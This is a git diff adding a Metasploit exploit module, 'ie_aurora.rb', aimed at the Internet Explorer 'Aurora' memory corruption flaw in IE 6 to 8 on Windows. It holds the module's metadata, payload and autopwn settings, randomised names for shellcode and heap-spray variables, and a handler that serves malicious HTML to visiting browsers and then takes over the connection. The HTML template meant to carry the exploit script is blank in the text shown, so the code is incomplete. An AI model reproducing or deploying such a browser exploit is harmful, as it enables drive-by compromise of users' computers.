diff --git a/modules/exploits/windows/browser/ie_aurora.rb b/modules/exploits/windows/browser/ie_aurora.rb new file mode 100644 index 0000000000..b70e086336 --- /dev/null +++ b/modules/exploits/windows/browser/ie_aurora.rb @@ -0,0 +1,161 @@ +## +# $Id$ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = NormalRanking + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Remote::BrowserAutopwn + autopwn_info({ + :ua_name => HttpClients::IE, + :ua_minver => "6.0", + :ua_maxver => "8.0", + :javascript => true, + :os_name => OperatingSystems::WINDOWS, + :vuln_test => nil, # no way to test without just trying it + }) + + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Microsoft Internet Explorer "Aurora" Memory Corruption', + 'Description' => %q{ + This module exploits a memory corruption flaw in Internet Explorer. This + flaw was found in the wild. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'unknown', + 'hdm' # Metasploit port + ], + 'Version' => '$Revision$', + 'References' => + [ + ['URL', 'http://www.microsoft.com/technet/security/advisory/979352.mspx'], + ['URL', 'http://wepawet.iseclab.org/view.php?hash=1aea206aa64ebeabb07237f1e2230d0f&type=js'] + + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => "\x00", + 'Compat' => + { + 'ConnectionType' => '-find', + }, + 'StackAdjustment' => -3500, + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'Automatic', { }], + ], + 'DisclosureDate' => 'Jan 14 2009', # wepawet sample + 'DefaultTarget' => 0)) + end + + def on_request_uri(cli, request) + + if (request.uri.match(/\.gif/i)) + data = "R0lGODlhAQABAIAAAAAAAAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==".unpack("m*")[0] + send_response(cli, data, { 'Content-Type' => 'image/gif' }) + return + end + + var_memory = rand_text_alpha(rand(100) + 1) + var_boom = rand_text_alpha(rand(100) + 1) + var_x1 = rand_text_alpha(rand(100) + 1) + var_e1 = rand_text_alpha(rand(100) + 1) + var_e2 = rand_text_alpha(rand(100) + 1) + + var_comment = rand_text_alpha(rand(100) + 1); + var_abc = rand_text_alpha(3); + + var_ev1 = rand_text_alpha(rand(100) + 1) + var_ev2 = rand_text_alpha(rand(100) + 1) + var_sp1 = rand_text_alpha(rand(100) + 1) + + var_unescape = rand_text_alpha(rand(100) + 1) + var_shellcode = rand_text_alpha(rand(100) + 1) + var_spray = rand_text_alpha(rand(100) + 1) + var_start = rand_text_alpha(rand(100) + 1) + var_i = rand_text_alpha(rand(100) + 1) + + rand_html = rand_text_english(rand(400) + 500) + + html = %Q| + + + + + + + + + + | + + # Transmit the compressed response to the client + send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' }) + + # Handle the payload + handler(cli) + end +end +